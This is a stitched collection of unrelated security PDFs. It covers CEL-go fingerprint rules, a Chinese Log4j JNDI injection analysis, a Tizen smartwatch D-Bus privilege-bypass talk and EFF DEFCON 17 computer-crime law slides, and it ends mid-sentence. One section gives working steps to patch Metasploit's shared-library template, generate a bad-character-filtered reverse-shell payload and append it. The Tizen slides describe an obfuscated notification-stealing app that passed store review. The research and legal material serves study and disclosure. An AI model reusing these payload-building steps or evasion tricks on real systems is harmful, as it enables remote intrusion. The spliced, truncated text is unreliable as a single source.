"google.golang.org/genproto/googleapis/api/expr/v1alpha1" "log" ) func main() { env, err := cel.NewEnv( cel.Declarations( decls.NewVar("name", decls.String), decls.NewFunction("print", decls.NewOverload("print_string", []*expr.Type{decls.String}, decls.Bool)), ), ) if err != nil { panic(err) } ast, issues := env.Compile(`print("hello "+name)`) if issues != nil && issues.Err() != nil { log.Fatalf("type-check error: %s", issues.Err()) } shakeFunc := &functions.Overload{ Operator: "print_string", Unary: func(lhs ref.Val) ref.Val { s, ok := lhs.(types.String) if !ok { return types.ValOrErr(lhs, "unexpected type '%v' passed to print", lhs.Type()) } fmt.Println(s) return types.Bool(true) }} prg, err := env.Program(ast, cel.Functions(shakeFunc)) if err != nil { log.Fatalf("program construction error: %s", err) } out, _, err := prg.Eval(map[string]interface{}{ "name": "hacking8", }) fmt.Println(out) // 'true' } 名称 类型 说明 body String 解码后的html⽂本 headers String 解码后的header⽂本 title String ⽹⻚标题 banner bytes 返回的原始byte protocol String 协议名称,如ftp, cert bytes 证书信息 名称 参数 返回类型 说明 contains String bool 是否包含⽂本(区分⼤⼩写) icontains String bool 是否包含⽂本(不区分⼤⼩写) 名称 参数 返回类型 说明 md5 bytes string 输出md5 定义⾃⼰的识别语法 接下来可以定义⾃⼰的cel-go输⼊输出了,根据上⾯的思想,我就定义了四个需要输⼊的参数 再定义⼀些简单的⽅法,这⾥我只定义了两个contains,之后有其他操作也可以定义其他的。 也可以定义⼀些特有的函数,例如 md5 等等 拥有了以上的⽅法,我们就可以⽤这样的语法去识别指纹 这样⼦很酷吧? 指纹格式 接下来根据goby的⼀些特殊字段,定义⾃⼰的语法格式吧,我这⾥使⽤yaml来定义每⼀个指纹,example 类似如 下 原始的goby指纹如下 body.icontains("copyright by hacking8") || md5(banner) == "933F490F991401B67B11F0F34B2F1921" { "rule_id": "1", "level": "5", "softhard": "2", 我将它变为如下形式 ⽂件名 Software System/Other Software System/phpshe.yaml 我这⾥直接⽤⼀个列表表示 or 关系,有很多 or 关系的话这样看起来⽐较舒适⼀些,当然这个等价于 body.icontains("powered by phpshe") || body.icontains("content=\"phpshe") ⾃动⽣成指纹 其实上述的json转yaml改动不是很⼤,⽤python写个脚本⾃动⽣成吧。 "product": "phpshe", "company": "河南省灵宝简好⽹络科技有限公司", "category": "Other Software System", "parent_category": "Software System", "rules": [ [ { "match": "body_contains", "content": "powered by phpshe" } ], [ { "match": "body_contains", "content": "content=\"phpshe" } ] ] } info: product: phpshe company: 河南省灵宝简好⽹络科技有限公司 softhard: 2 # 2是软件 1是硬件 matches: - body.icontains("powered by phpshe") - body.icontains("content=\"phpshe") import json import os import yaml filename = "fofa.json" folder = "/Users/boyhack/programs/untitled/指纹收集处理/zsxq" with open(filename, 'r', encoding="utf-8") as f: data = json.load(f) i = 0 dd = {} for item in data: product = item["product"] company = item["company"] softhard = item["softhard"] category = item["category"] parent_category = item["parent_category"] if parent_category == "": parent_category = "other" item_or = [] for rules in item["rules"]: item_and = [] for rule in rules: match = rule["match"] content = rule["content"].replace("\"", "\\\"") dsl = "" if match == "body_contains": dsl = f"body.icontains(\"{content}\")" elif match == "protocol_contains": dsl = f"protocol.icontains(\"{content}\")" elif match == "title_contains": dsl = f"title.icontains(\"{content}\")" elif match == "banner_contains": dsl = f"banner.icontains(b\"{content}\")" elif match == "header_contains": dsl = f"headers.icontains(\"{content}\")" elif match == "server_contains": dsl = f"headers.icontains(\"{content}\")" elif match == "server": dsl = f"headers.icontains(\"{content}\")" elif match == "title": dsl = f"title == \"{content}\"" elif match == "cert_contains": dsl = f"cert.icontains(b\"{content}\")" elif match == "port_contains": continue elif match == "protocol": dsl = f"protocol == \"{content}\"" item_and.append(dsl) item_or.append(" && ".join(item_and)) originData = { "info": { "product": product, "company": company, "softhard": softhard, }, 运⾏后就会⽣成这么个⽂件夹 随便打开⼀个看下指纹 嘿嘿,还不错吧。 "matches": item_or, } save_folder = os.path.join(folder, parent_category, category) if not os.path.isdir(save_folder): os.makedirs(save_folder) product = product.replace("/", " ") filename = os.path.join(save_folder, product + ".yaml") with open(filename, 'w') as f: yaml.dump(originData, f, allow_unicode=True)
pdf
2021 年 12 ⽉ 9 号注定是⼀个不眠之夜,著名的Apache Log4j 项⽬被爆存在远程代码执⾏漏洞, 且利⽤简单,影响危害巨⼤,光是引⼊了 log4j2 依赖的组件都是数不清,更别提项⽬本身可能存 在的⻛险了,如下图所示,mvnrepository搜索引⽤了 log4j-core version 2.14.1的项⽬就 ⼗⼏ ⻚了: 本⽂就来简单分析⼀下该漏洞的原理。 引⽤了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应⽤项⽬或组件 根据官⽅的修订信息:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2- 3201?lter=allissues 001 写在前⾯ 002 影响范围 003 漏洞分析 可以明确知道,是通过 jndi 中 LDAP 注⼊的⽅式实现了 RCE,然后查看其补丁的更改记录: 可以发现对 lookup 函数进⾏了修改判断 知道了漏洞类型,那么就好⼊⼿了,⾸先翻阅官⽅⽂档中关于 lookup 的说明: lookup 提供了⼀种在任意位置向 Log4j2 配置添加值的⽅法,是实现 StrLookup 接⼝的特殊类型 的插件 ,查看官⽅⽂档发现log4j2 ⽀持的⽅法有很多: 总计有: base64 、 data 、 ctx 、 main 、 env 、 sys 、 sd 、 java 、 marker 、 jndi 、 jvmrunargs 、 map 、 bundle 、 log4j 由于这⾥主要说明的是关于 JNDI lookup 的⽤法,其他的不再赘述。 关于 JNDI lookup官⽅⽂档有说明: JndiLookup 允许通过 JNDI 检索变量,然后给了示例: 实际上通过 log4j2 ⽀持的⽅法那张图中就可以发现log4j 中 jdni 的⽤法格式如下: 既然明确了 lookup 是触发漏洞的点,并且找到了可以触发 lookup 的⽅法 ,那么就可以找⼊⼝ 点,只要找到⼊⼝点,然后传⼊ jndi 调⽤ ldap 的⽅式,就能够实现 RCE。 那么,哪⼀个⼊⼝点可以传⼊ ${jndi:JNDIContent} 呢? 没错了,就是 LogManager.getLogger().xxxx() ⽅法 在log4j2中,共有8 个⽇志级别,可以通过 LogManager.getLogger() 调⽤记录⽇志的⽅法如 下: 上述列表中, error() 和 fatal() ⽅法可默认触发漏洞,其余的⽅法需要配置⽇志级别才可以触 发漏洞。因为在 logIfEnabled ⽅法中,对当前⽇志等级进⾏了⼀次判断: <File name="Application" fileName="application.log"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern> </PatternLayout> </File> ${jndi:JNDIContent} LogManager.getLogger().error() LogManager.getLogger().fatal() LogManager.getLogger().trace() LogManager.getLogger().traceExit() LogManager.getLogger().traceEntry() LogManager.getLogger().info() LogManager.getLogger().warn() LogManager.getLogger().debug() LogManager.getLogger().log() LogManager.getLogger().printf() 只有当当前事件的⽇志等级⼤于等于设置的⽇志等级时,才会符合条件,进⼊ logMessage() ⽅法 知道这些基本信息后,就可以进⼀步了解漏洞的触发原理了。 测试 case 如下: public class log4j { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { Collection< Logger> current = LoggerContext.getContext(false).getLoggers(); Collection< Logger> notcurrent = LoggerContext.getContext().getLoggers(); Collection< Logger> allConfig = current; allConfig.addAll(notcurrent); for ( Logger log:allConfig){ log.setLevel(Level.ALL); } logger.error(Level.ALL,"payload"); // logger.warn("payload"); JAVA org.apache.logging.log4j.core. org.apache.logging.log4j.core. org.apache.logging.log4j.core. org.apache.logging.log4j.core. 由于这些调⽤⽅法触发漏洞的原理都是⼀样的,所以本⽂就以 error 举例说明。 查看 error 的类继承关系可以发现,实际上会调⽤ AbstractLogger.java 中的 public void error() ⽅法: 在该⽅法中会调⽤ logIfEnabled 判断是否符合⽇志记录的等级要求,如果符合,那么会进⾏ logMessage 操作: 后续不关键调⽤路径如下: // logger.info("payload"); // logger.debug("payload"); // logger.traceExit("payload"); // logger.trace("payload"); // logger.fatal("payload"); // logger.printf(Level.ALL,"payload"); // logger.traceEntry("payload"); // logger.log(Level.ALL,"payload"); } } logMessage ----> logMessageSafely ----> logMessageTrackRecursion ----> tryLogMessage ----> log ----> DefaultReliabilityStrategy.log ----> loggerConfig.log ----> processLogEvent - ---> callAppenders ----> tryCallAppender ----> append ----> tryAppend ----> directEncodeEvent ----> encode ----> toText ----> toSerializable ----> format ----> PatternFormatter.format 第⼀个关键点在 PatternFormatter.java 中的 format ⽅法: 如果检测到 $ 字符后跟了⼀个 { 字符,那么会对直到 } 中间的内容进⾏解析并 replace replace --> substitute --> StrSubstitutor.substitute --> resolveVariable --> Interpolator.lookup 在 Interpolator.lookup ⽅法中,⾸先会获取字符串的前缀值: 如果匹配到内置⽅法,那么就进⼊对应的处理⽅法,这⾥是 JNDI ⽅法,那么就会由 JndiLookup 类进⼀步处理: 最终加载由攻击者传⼊的LDAP服务端地址,然后返回⼀个恶意的JNDI Reference对象,触发漏 洞,实现 RCE。 log4j2涉及的组件之多、牵扯的范围之⼴,造成的结果,恐怕是漏洞发现者或者是某个公开 poc 的 安全公众号都始料未及的。 其实这个漏洞带给我们的不仅仅是⼀个新的吃饭技能,更多的是⼀些思考: 第⼀,安全发展⾄今,为什么⼀个 java底层依赖出现漏洞,却导致国内所有⼤⼚全军覆没?虽然个 别⼚商提前修复,但同样说明了⼀件事,供应链级别的0day攻击,依旧是⽆法第⼀时间防御的。 是否存在⼀种新的机制或⽅案能够防御供应链级别的0day攻击? 第⼆,log4j2 项⽬引⼊JNDI lookup 已有 7 年之久,但是应⽤范围如此之⼴、利⽤复杂难度之低 的漏洞,⻓达 7 年未被发现,实在有些惭愧(更惭愧的是官⽅⽂档还有 jndilookp 的使⽤说明) 第三,以后挖0day思路真如 skay 说的⼀样加⼀: find *.jar => add as library => shift+shift => find log4j => RCE 实际上不仅是 log4j,通常这也是⼀个挖掘组件依赖漏洞的⼀种思路 004 漏洞复现 005 写在最后 第四, https://logging.apache.org/log4j/2.x/manual/lookups.html https://github.com/apache/logging- log4j2/pull/608/commits/755e2c9d57f0517a73d16bfcaed93cc91969bdee 参考
pdf
没有0x0C的evil.so 为什么constructor 会在库加载的时候执行 static void before_main(void) __attribute__((constructor)); 像这种具有constructor属性的函数会在初始化时执行,主要是通过.init / .init_array 实现(还有.fini_array 类似析构), 不同的平台/版本编译链接时处理不同,详见宋教授的文章 .init, .ctors, and .init_array 落到文件内容层面,ELF的Section中有一个类型为SHT_DYNAMIC (6) 的Section, 其存储着动态链接信 息,一般情况下name为 .dynamic 其中dynamic entries里的DT_INIT项存着一个偏移,在加载时会与 l->l_addr 也就是elf的加载基址相加并 跳去执行。 而DT_INIT_ARRAY则是当作reloc后的地址(也就是没有加基址的操作),直接跳转。 in https://github.com/bminor/glibc/blob/glibc-2.34/elf/dl-init.c 55-72 if (ELF_INITFINI && l->l_info[DT_INIT] != NULL) DL_CALL_DT_INIT(l, l->l_addr + l->l_info[DT_INIT]->d_un.d_ptr, argc, argv, env); /* Next see whether there is an array with initialization functions. */ ElfW(Dyn) *init_array = l->l_info[DT_INIT_ARRAY]; if (init_array != NULL) { unsigned int j; unsigned int jm; ElfW(Addr) *addrs; jm = l->l_info[DT_INIT_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)); addrs = (ElfW(Addr) *) (init_array->d_un.d_ptr + l->l_addr); for (j = 0; j < jm; ++j) ((dl_init_t) addrs[j]) (argc, argv, env); } } change DT_INIT to DT_INIT_ARRAY 问题起因是需要文件内不能有:=空格 和 \x09 \x0c (aka. \t \f ) , msfvenom生成的elf-so文件是通 过 /data/templates/src/elf/dll/elf_dll_x64_template.s 中的模板。 模板大致就是elf头+两个segment+两个section。其为了让so在加载时执行shellcode使用了DT_INIT,不 幸的是DT_INIT的tag正好为0xC。为了避免0xC,我们可以换用DT_INIT_ARRAY 0x19, 需要与 DT_INIT_ARRAYSZ 0x1B配合。 修改思路是 1. 删掉.dynamic section中的DT_INIT项,加入DT_INIT_ARRAY与DT_INIT_ARRAYSZ。因为 DT_INIT_ARRAY需要指向指针数组的偏移,存放的指针还需要经过reloc(如果存入0x192会直接跳到 0x192这个地址,但是共享库加载到内存会从某个基址开始,也就是base+0x192),我们可以复用下 面会被reloc的DT_STRTAB 0x5表项(指向了size为2的strtab section, 在模板中是shellcode之前的两 字节), 也就是图中0x158这个偏移的来源,DT_INIT_ARRAYSZ 设置为一个指针的长度0x8。 2. 因为DT_STRTAB指向的是shellcode再向前两字节,默认是0x00,替换成0x90(NOP)。 3. 最后把模板写死的两个长度0xDEADBEFF替换成真实文件长度 修改与生成 elf_dll_x64_template_init_array.s └─$ diff /usr/share/metasploit- framework/data/templates/src/elf/dll/elf_dll_x64_template.s ./elf_dll_x64_template_init_array.s 66,68c66,71 < ; DT_INIT < dq 0x0c < dq _start --- > ; DT_INIT_ARRAY > dq 0x19 > dq r5 > ; DT_INIT_ARRAYSZ > dq 0x1B > dq 0x8 70a74 > r5: 87,88c91,92 < db 0 < db 0 --- > db 0x90 > db 0x90 nasm elf_dll_x64_template_init_array.s -f bin -o modified.so msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "x09\x0c\x20=" -f raw -o raw.bin cat raw.bin >> modified.so ls -al ./modified.so sed 's/\xEF\xBE\xAD\xDE/\xec\x01\x00\x00/g' ./modified.so > final.so # file size
pdf
2 u Dongsung Kim u Graduate Student Researcher u @kid1ng u https://kidi.ng u Hackers In inTrusion Laboratory u https://hit.skku.edu Surname 1 4 u Samsung’s smartwatch products ° Track fitness; control smart devices; receive calls, texts, and emails; pay with NFC ° Pair phone with Bluetooth + Wi-Fi (+ LTE) ° App marketplace: Samsung Galaxy Apps u So much sensitive information ° Contacts, calendar, location, email, notification, … ° Access to privileged resources must be controlled Image: Samsung 5 u Samsung Gear firmware consists of: ° Tizen’s open source components ° Samsung’s closed source components u Linux-based open source OS ° Many of Samsung’s products ° Smartwatches, smartphones, cameras, smart TVs, home appliances, … Image: Tizen Project, a Linux Foundation Project 6 u Ajin Abraham @ HITBSecConf u Amihai Neiderman @ Security Analyst Summit ° 40 0-day vulnerabilities u PVS-Studio “27 000 Errors in Tizen OS” ° 900 code errors in a portion of Tizen source code u We focus on a smartwatch’s perspective 2 - 9 - u Files, Directories, UNIX Sockets, Utilities u Applications ° Use Tizen APIs to access the services u Services ° Special privileged daemons dedicated for a resource • e.g., Wi-Fi, Bluetooth, GPS, messaging, sensors, … ° Must reject requests from unauthorized parties Source: Tizen Wiki 10 u App dev specifies privileges in manifest ° User accepts the permission for the app ° Installer checks and registers the privilege policy ° Accesses are controlled at the runtime u Tizen defines many privileges ° internet, bluetooth, network.set, screenshot, notification, email, … ° Only some of them are “Public” level ° “Partner, Platform” level disallowed for most Source: Tizen Wiki Image: “locked” by Jenie Tomboc / CC BY tizen-manifest.xml .tpk app package On user’s smartphone Signed by Store 11 u DAC (Discretionary Access Control) ° UNIX user ID + group ID policies u SMACK (Simplified Mandatory Access Control in Kernel) ° Kernel-space MAC ° App receives a unique label at install time • e.g., User::Pkg::sample_app ° Current label (context) is checked against the SMACK rules u Cynara ° User-space privilege management daemon ° Services check the calling app’s privilege ° Identifies the app with its SMACK label ° Checks the label against Cynara database u Security Manager ° Security policy configurator daemon ° Populates DAC/SMACK/Cynara database Source: Tizen Wiki 12 u IPC (Inter-Process Communication) system ° On Linux-like OS, useful built-in functions • e.g., discoverability, introspection, … ° Service daemon registers to D-Bus daemon ° Clients request resources via messages u Tizen heavily relies on D-Bus* Source: freedesktop.org Project, Pid Eins Image: “File:D-Bus method invocation.svg“ by Javier Cantero / CC BY-SA 4.0 Client Process Service Process /org/example/object3 /org/example/object2 /org/example/object1 SetFoo(int32) D-Bus Bus org.example.interface method SetFoo(int32): void method GetFoo(): int32 Message Request Message Response Unique bus name Well-known bus name * :1.7 :1.4 org.example.service 13 u IPC (Inter-Process Communication) system ° On Linux-like OS, useful built-in functions • e.g., discoverability, introspection, … ° Service daemon registers to D-Bus daemon ° Clients request resources via messages u Tizen heavily relies on D-Bus* Client Process Service Process D-Bus Bus 14 u IPC (Inter-Process Communication) system ° On Linux-like OS, useful built-in functions • e.g., discoverability, introspection, … ° Service daemon registers to D-Bus daemon ° Clients request resources via messages u Tizen heavily relies on D-Bus* Client Process Service Process D-Bus Bus Unique bus name * :1.7 15 u IPC (Inter-Process Communication) system ° On Linux-like OS, useful built-in functions • e.g., discoverability, introspection, … ° Service daemon registers to D-Bus daemon ° Clients request resources via messages u Tizen heavily relies on D-Bus* Client Process Service Process D-Bus Bus Message Request Unique bus name * :1.7 16 u IPC (Inter-Process Communication) system ° On Linux-like OS, useful built-in functions • e.g., discoverability, introspection, … ° Service daemon registers to D-Bus daemon ° Clients request resources via messages u Tizen heavily relies on D-Bus* Client Process Service Process D-Bus Bus Message Request Unique bus name Well-known bus name * :1.7 :1.4 org.example.service 17 u IPC (Inter-Process Communication) system ° On Linux-like OS, useful built-in functions • e.g., discoverability, introspection, … ° Service daemon registers to D-Bus daemon ° Clients request resources via messages u Tizen heavily relies on D-Bus* Client Process Service Process /org/example/object1 SetFoo(int32) D-Bus Bus Message Request Unique bus name Well-known bus name * :1.7 :1.4 org.example.service 18 u IPC (Inter-Process Communication) system ° On Linux-like OS, useful built-in functions • e.g., discoverability, introspection, … ° Service daemon registers to D-Bus daemon ° Clients request resources via messages u Tizen heavily relies on D-Bus* Client Process Service Process /org/example/object1 SetFoo(int32) D-Bus Bus org.example.interface method SetFoo(int32): void method GetFoo(): int32 Message Request Unique bus name Well-known bus name * :1.7 :1.4 org.example.service 19 u IPC (Inter-Process Communication) system ° On Linux-like OS, useful built-in functions • e.g., discoverability, introspection, … ° Service daemon registers to D-Bus daemon ° Clients request resources via messages u Tizen heavily relies on D-Bus* Client Process Service Process /org/example/object1 SetFoo(int32) D-Bus Bus org.example.interface method SetFoo(int32): void method GetFoo(): int32 Message Request Message Response Unique bus name Well-known bus name * :1.7 :1.4 org.example.service 20 u Patched to perform Cynara checks ° D-Bus daemon in the middle asks Cynara u Access control on messages ° <check> element in busconfig file ° Destination, interface, member, and privilege Source: Tizen Wiki /etc/dbus-1/system.d/bixby-agent.conf 21 u Location Manager API with location privilege u dlog: Tizen’s system log 22 u Location Manager API without location privilege u Logs from Same PID (Process IDentifier) shows failure u Location library liblbs-location.so.1 performs location_check_cynara u ① First privilege check down the chain PID 23 u Reverse engineering liblbs-location.so.1 Remove to bypass ① MOV R0, #0 MOV R0, #0 If R0 is not zero: “Cynara_check failed” 24 u Patching liblbs-location.so.1 u Still same PID u LBS_DBUS_CLIENT requests to LbsServer u D-Bus daemon responds with AccessDenied u ② Second privilege check PID - 25 - Image: Tizen Wiki Cynara daemon ① ② ③ ? ? ? 26 u Two potential points to check the privileges ° ② D-Bus daemon — Request in the middle ° ③ Service daemon — After receiving the request u Failing both could allow privilege violation Image: Tizen Wiki Malware (Client Process) D-Bus Bus Message Request Message Response Service Process ② ③ No ① 3 - 28 - u Privilege validation always happens first! u Some methods, for non-privileged requests, return an error that is not AccessDenied → Possible privilege violation? dbus-send --system --print-reply --dest=org.tizen.lbs.Providers.LbsServer /org/tizen/lbs/Providers/LbsServer org.tizen.lbs.Manager.AddReference Error org.freedesktop.DBus.Error.AccessDenied: … privilege="http://tizen.org/privilege/locati on" (uid=654 pid=2536 comm="") Error org.freedesktop.DBus.Error.InvalidArgs: Type of message, '()', does not match expected type '(i)' With privilege Without privilege No argument is given 29 u Evaluates privilege verification of D-Bus services ° Spawns a test process on a remote device ° Recursively scans the D-Bus structure ° Reads every property, calls every method u Output ° Flattened D-Bus structure (db.json) ° For further analysis: dbus-send commands • Readable properties (properties.log) • Callable methods (methods.log) Image: “File:Dan Howell by Gage Skidmore.jpg“ by Gage Skidmore / CC BY-SA 3.0 https://github.com/kiding/dan Module Module Module Module Runner Shell Script Result App Package stdout stderr Target Device Extracted Filesystem db.json properties.log methods.log 30 u Gather all possible bus names (services) ° One service can have multiple bus names ° Unique — :1.4 Well-known — org.example.service u From extracted firmware ° /usr/share/dbus-1/* u From current runtime ° D-Bus built-in method: ListNames Source: freedesktop.org org.freedesktop.systemd1.service 31 u Recursively introspects the services ° Objects, interfaces, methods, ... u Service can respond with its object structure ° On D-Bus standard method: Introspect ° In well-formatted XML Bus name: org.freedesktop.systemd1 Object: / Child objects 32 u Reads every property value ° D-Bus built-in method: GetAll u Custom Bison parser ° Parses dbus-send“format” ° Into a JSON-compliant form GetAll.jison 33 u Calls every method of every interface for all the objects ° Random arguments not to execute the logic u Categorizes each method ° AccessDenied, ServiceUnknown, UnknownObject, NoReply, … → Ignore ° Other errors or no error at all: Callable dbus-send --system --print-reply --dest=org.example.service /org/example/object org.example.method string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 InvalidArgs Gibberish random argument No error (Ignore) Callable AccessDenied 34 u Hashes every object, remove duplicates u Prints readable properties, and callable methods … methods.log Arguments … db.json 4 - 36 - u Target Device ° Samsung Gear Sport: Build RC4, Tizen 3.0.0.2, Release Date 2018-03-28 ° Takes about an hour u Statistics ° Total # of bus names: 269 ° Readable Properties #: 130,634 ° Callable Methods #: 2,319 (!) • Excluded Default Interface: org.freedesktop.DBus, … 37 u ③ Third privilege check ° Log shows some services check Cynara ° Yet no D-Bus error gets returned ° Dan categorizes them callable u Examine manually further for exploits Malware (Client Process) Message Request Message Response Service Process ② ③ No ① No error 38 u Wi-Fi u Bluetooth u Screen u Notification u Email u …and many more Image: “1f4a5.svg” by Twitter, Inc and other contributors / CC BY 4.0 - 39 - u Fully exposed: wpa_suplicant ° Free software implementation of 802.11i ° Tizen builds its own API/daemons on top u All is callable, all is readable ° CreateInterface, RemoveInterface, Scan, … ° WPS Start, GetPin; P2P Find, Connect, … u Violated Tizen privileges ° network.get, network.profile, network.set, wifidirect ° location, location.enable (Platform level; private privilege) 40 u GPS coordinates can be publicly queried from: ° BSSID of nearby Wi-Fi networks ° Signal values of the networks u Malware can track user even if location is off ° Force-trigger Wi-Fi Scan ° Acquire network information ° Query current location 41 u Partially exposed: projectx.bt/bt_core ° Tizen’s own API/daemons for Bluetooth u Malware can… ° Silently accept incoming pair request ° Force discoverable ”piscan” mode ° Prompt a PIN request system UI to phish user • Any user input is returned to malware Actual name of the paired smartphone 42 u Partially exposed: bluez ° Bluetooth stack for Linux-like OSes ° Force disconnect, gather information, … u Bonus: No restriction on hcidump utility ° Any user can dump Bluetooth packets ° With no superuser privilege u Dump HCI packets + force disconnect + auto reconnect → Extract link key u Violated Tizen privileges ° bluetooth ° bluetoothmanager (Platform level; private) Demo 43 u Partially exposed: enlightenment.screen_capture ° Enlightenment: Tizen’s choice of window manager ° dump_topvwins dumps windows into PNG files u Violated Tizen privileges ° screenshot (Platform level; private) Demo 44 u Partially exposed: com.samsung.wnoti ° Manages notification transmitted to Gear u Malware can… ° ClearAll to remove all notifications ° GetCategories to read all data ° … u Violated Tizen privileges ° notification, push, ¯\_(ツ)_/¯ Demo - 45 - u Partially exposed: wemail_consumer_service ° Manages user’s mailbox on Gear, communicates with phone u Malware can… ° req_show_on_device to launch Email app on phone ° req_mail_state to modify message data ° req_send_mail to send any email from user’s address ° … u Violated Tizen privileges ° messaging.write ° email, email.admin (Platform level; private) Demo 46 u Service rejects private method calls… u Only if “Id” does not match ° {“Id”:”wemail-private-send-mail-noti”} u strcmp and nothing more ° No proper privilege check in place - 47 - https://youtu.be/Yc4AvlJLLpw 48 u wnoti-service.conf: Only three methods are listed ° Many other sensitive methods are missing 49 u connman.conf and net-config.conf protect Tizen’s own Wi-Fi daemons u But wpa_supplicant.conf doesn’t exist… D-Bus is not hierarchical! Image: Tizen Wiki dbus dbus dbus dbus How it was designed Application WPA Supplicant D-Bus Bus Wi-Fi Direct Manager Net-Config Daemon ConnMan Daemon How it actually works 50 u D-Bus client API is officially supported u PoC application “BitWatch” ° Privilege: network.get, internet ° Reads notification data ° Sends it to a remote server u Submitted to Samsung Galaxy Apps ° Obfuscated to hide system service names ° Passed validation process! ° Gone on sale until we took it down - 51 - u Apr 10th: Vulnerabilities reported to Samsung Mobile Security u Apr 19th: Report triaged by Samsung u Patches for open-source services committed to the Tizen Git repository u May 29th: Updates released for Gear Sport and S3 u Jul 13th: Severity assigned High 5 - 53 - u Tizen security internals ° Objects and privileges ° Where privileges are validated • ① client process, ② Cynara-aware D-Bus, and ③ service process u Dan the D-Bus analyzer ° AccessDenied as an oracle to discover privilege violations u Privilege violations ° Wi-Fi, Bluetooth, screen, notification, email takeover ° Possibility of distribution via official store 54 u Can Dan be applied to ° Other Tizen systems • Smart TV, home appliances, IoT, … ° Other D-Bus systems u Obfuscation techniques ° To bypass future mitigations of Galaxy Apps - 55 - u Hyoung-Kee Choi for guidance u Hyoseok Lee for initial research u Betty Bae for proofreading u Gyeonghwan Hong, Shinjo Park, and John Steinbach for advice
pdf
1 Computer Crime Year In Review: MySpace, MBTA, Boston College and More Jennifer Stisa Granick, EFF Civil Liberties Director Kurt Opsahl, EFF Senior Staff Attorney Marcia Hofmann, EFF Staff Attorney DEFCON 17 July 31, 2009 2 Topics 1. Computer Crime Law Overview 2. MBTA v. Anderson 3. United States v. Lori Drew 4. Calixte/Boston College 5. Lessons and Strategies 3 www.eff.org 4 Coders’ Rights DRM Fair Use Free Speech Privacy Other Work We Do 5 Computer Fraud and Abuse Act Eight subsections (a-h): (a) Seven (or more) prohibitions (b) Attempt and conspiracy (c) Sentences for criminal violations (d) Secret Service may investigate 6 CFAA (con’t) (e) Definitions (f) Law enforcement and intelligence agencies exception (g) Civil cause of action (h) Reporting to Congress 7 CFAA Offenses (a)(1): Espionage prohibitions (a)(2): Obtaining information (c) from a “protected computer” (used in interstate or foreign commerce or communication) (a)(3): Trespass on government system 8 CFAA Offenses (con’t) (a)(4): With intent to defraud (a)(5): Causes damage (a)(6): Password trafficking (a)(7): Threatens a computer 9 Whoever ... accesses without authorization or exceeds authorized access…and thereby obtains-- (A) information from a financial institution, credit card issuer or consumer reporting agency (B) information from any department or agency of the United States; or (C) information from any protected computer Unauthorized Access: 1030(a)(2) 10 Whoever ... knowingly causes the transmission of a program, information, code, or command, and as a result of such conduct, intentionally causes damage without authorization, to a protected computer Causes Damage: 1030(a)(5)(A) 11 MBTA v. Anderson 12 QuickTimeª and a TIFF (Uncompressed) decompressor are needed to see this picture. 13 QuickTimeª and a TIFF (LZW) decompressor are needed to see this picture. QuickTimeª and a TIFF (Uncompressed) decompressor are needed to see this picture. 14 Term paper for Professor Ron Rivest Reverse engineering Charlie Ticket Theoretical attack on RFID MiFare card 15 DEFCON 16 Anatomy of a Subway Hack: Free Rides for Life QuickTimeª and a TIFF (Uncompressed) decompressor are needed to see this picture. 16 Meeting with MBTA August 4, 2008 17 Friday before the talk, August 8… Lawsuit! Filed complaint, TRO, four declarations, 7 exhibits, but no advance notice 18 Claims: Computer Fraud and Abuse Act: 18 U.S.C. § 1030(a)(5)(A) Negligent supervision vs. MIT 19 Treble damages and attorneys fees Gag order: can’t say security is compromised Can’t imply MIT approved research or presentation Can’t say “free subway rides” Forced to provide research to MBTA Relief Requested 20 The EFF Is In Booth 21 Glad we were in Vegas •DEFCON gave us a war room •Able to get an expert declaration In the middle of the night from 3ric Johansen •Robyn Wagner chipped in 22 Hearing set for 8:00 a.m. Saturday, August 9 23 Saturday Hearing, August 9 We appear by telephone Judge Woodlock issues gag order 24 Gag Order MIT Undergrads are hereby enjoined and restrained from providing program, information, software code, or command that would assist another in any material way to circumvent or otherwise attack the security of the Fare Media System Presentation is cancelled 25 What Happened? •Fear, uncertainty, doubt •Potentially danger with massive implications vs. kids not giving a speech •Time not seen as of the essence •Culture clash 26 Defense Motion for reconsideration Letter from computer scientists Declaration re: prior meeting with MBTA CFAA does not apply 27 CFAA: Whoever ... knowingly causes the transmission of a program, information, code, or command, and as a result of such conduct, intentionally causes damage without authorization, to a protected computer; and [causes or would have caused certain specified loss or harm] shall be punished as provided in subsection (c) of this section. 28 MBTA: The term “transmission” includes verbal communication 29 MBTA’s Version of Responsible Disclosure: The term “responsible disclosure” refers to the method of disclosing a technological vulnerability to the developer so that the developer can fix the vulnerability before the general public finds out about it. 30 31 First Amendment Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the government for a redress of grievances. 32 Hearing on Thursday, August 14 Judge O’Toole More discovery 33 Hearing on Tuesday, August 19 34 The Comma 35 CFAA Whoever . . . knowingly causes the transmission of a program, information, code, or command, and as a result of such conduct, intentionally causes damage without authorization, to a protected computer . . . 36 No federal claim Motion for preliminary injunction denied Gag order lifted 37 Resolution: Settlement Agreement Collaboration Agreement 38 Current status of the case 39 Calixte/Boston College Case 40 United States v. Lori Drew 41 Terms of service violation is “unauthorized access” Judge overturned conviction months later How did we get here? EF Cultural Travel v. Explorica Shurgard v. Safeguard Storage 42 Common TOS Violations • “You may not use the Services and may not accept the Terms if you are not of legal age to form a binding contract with Google.” Google Terms of Service • “[Y]ou agree to . . . provide accurate, current and complete information about you as may be prompted by any registration forms on the Site (“Registration Data”) . . . [and] maintain and promptly update the Registration Data, and any other information you provide to Company, to keep it accurate, current and complete . . . .” Facebook Terms of Use • “You must be at least eighteen (18) years of age and single or separated from your spouse to register as a member of Match.com or use the Website.” Match.com Terms of Use Agreement 43 Boston College/Calixte Matter 44 Sent an Email From: Bc Glbtq Subject: BC GLBTQ Welcomes: Former Roommate Hello,The Boston College GLBTQ Community would like to welcome [roommate] to the community! When [roommate] first reached out to us, hoping that we could help him come out, we were greatly excited that he chose to do so with the support of our community here at Boston College. Coming out is always difficult, so please be understanding as this is a crucial time for him. Please give [roommate] all your support! And [roommate] was kind enough to send us his Adam4Adam profile if anyone was interested in personally contacting him. Again, please celebrate with him. This is a 